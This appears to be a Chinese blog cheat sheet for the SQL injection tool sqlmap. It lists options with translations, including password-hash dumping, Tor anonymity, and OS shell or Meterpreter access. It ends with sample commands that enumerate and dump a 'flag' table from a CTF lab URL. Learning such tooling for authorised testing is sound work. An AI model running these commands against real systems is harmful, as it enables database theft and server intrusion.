sqlmap整理

sqlmap 基本参数整理

Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
–version Show program’s version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)

Target:
At least one of these options has to be provided to define the
target(s)

必须至少提供其中一个选项来定义目标

-u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK       Process Google dork results as target URLs //将google dork结果作为目标url处理
-r         通过保存的数据包来作为目标处理

Request:
These options can be used to specify how to connect to the target URL

这些选项可用于指定如何连接到目标URL

--data=DATA         Data string to be sent through POST (e.g. "id=1")
//要通过POST发送的数据字符串(例如--data=“id=1”)

--cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")  
//http cookie头值(例如“phpsessid=a8d127e…”)

--random-agent      Use randomly selected HTTP User-Agent header value
//使用随机选择的http用户代理头值
--proxy=PROXY       Use a proxy to connect to the target URL
//使用代理连接到目标URL
--tor               Use Tor anonymity network
//匿名网络的使用
--check-tor         Check to see if Tor is used properly
检查TOR是否正确使用

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

这些选项可用于指定要测试的参数,

提供自定义的注入有效负载和可选的篡改脚本

-p TESTPARAMETER    Testable parameter(s) //
可测试参数
--dbms=DBMS         Force back-end DBMS to provided value
//强制后端dbms提供值

Detection:
These options can be used to customize the detection phase

这些选项可用于自定义检测阶段

--level=LEVEL       Level of tests to perform (1-5, default 1)要执行的测试级别(1-5,默认值1)
--risk=RISK         Risk of tests to perform (1-3, default 1)执行测试的风险(1-3,默认1)

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

这些选项可用于调整特定SQL注入技术的测试

--technique=TECH..  SQL injection techniques to use (default "BEUSTQ") 要使用的SQL注入技术(默认为“beustq”)

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements

这些选项可用于枚举表中包含的后端数据库管理系统信息、结构和数据。此外,您还可以运行自己的sql语句

-a, --all           Retrieve everything 返回所有东西
-b, --banner        Retrieve DBMS banner
--current-user      Retrieve DBMS current user 返回当前用户
--current-db        Retrieve DBMS current database 返回当前数据库   --枚举法,用sleep函数基于时间一个字符一个字符去比对。
--passwords         Enumerate DBMS users password hashes  用枚举法返回当前用户密码  
--tables            Enumerate DBMS database tables  用枚举法返回数据库的表名
--columns           Enumerate DBMS database table columns    枚举法返回数据库表字段
--schema            Enumerate DBMS schema  
--dump              Dump DBMS database table entries 返回值
--dump-all          Dump all DBMS databases tables entries 返回所有值
-D DB               DBMS database to enumerate 指定数据库
-T TBL              DBMS database table(s) to enumerate 指定表
-C COL              DBMS database table column(s) to enumerate 指定字段

Operating system access:
These options can be used to access the back-end database management
system underlying operating system

这些选项可用于访问底层操作系统的后端数据库管理系统

--os-shell          Prompt for an interactive operating system shell 提示输入交互式操作系统shell
--os-pwn            Prompt for an OOB shell, Meterpreter or VNC 提示输入oob shell、meter或vnc

General:
These options can be used to set some general working parameters

这些选项可用于设置一些常规工作参数

--batch             Never ask for user input, use the default behavior 从不要求用户输入,使用默认行为
--flush-session     Flush session files for current target 刷新当前目标的会话文件

Miscellaneous:
These options do not fit into any other category

其他

--sqlmap-shell      Prompt for an interactive sqlmap shell 提示输入交互式sqlmap shell
--wizard            Simple wizard interface for beginner users 面向初学者的简单向导界面

sqlmap 基本使用步骤

列出数据据信息:python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs 
列出当前数据库信息:python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db
列出所有库的表信息:python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables
列出库"test"的所有表信息:python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables -D "test"
列出表"flag"的所有字段:python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"
列出指定表制定字段的内容python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"
 上面是跑get传参的时候,一般会自动检测参数
 在跑post传参的时候,加上 --data=“参数”来跑。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值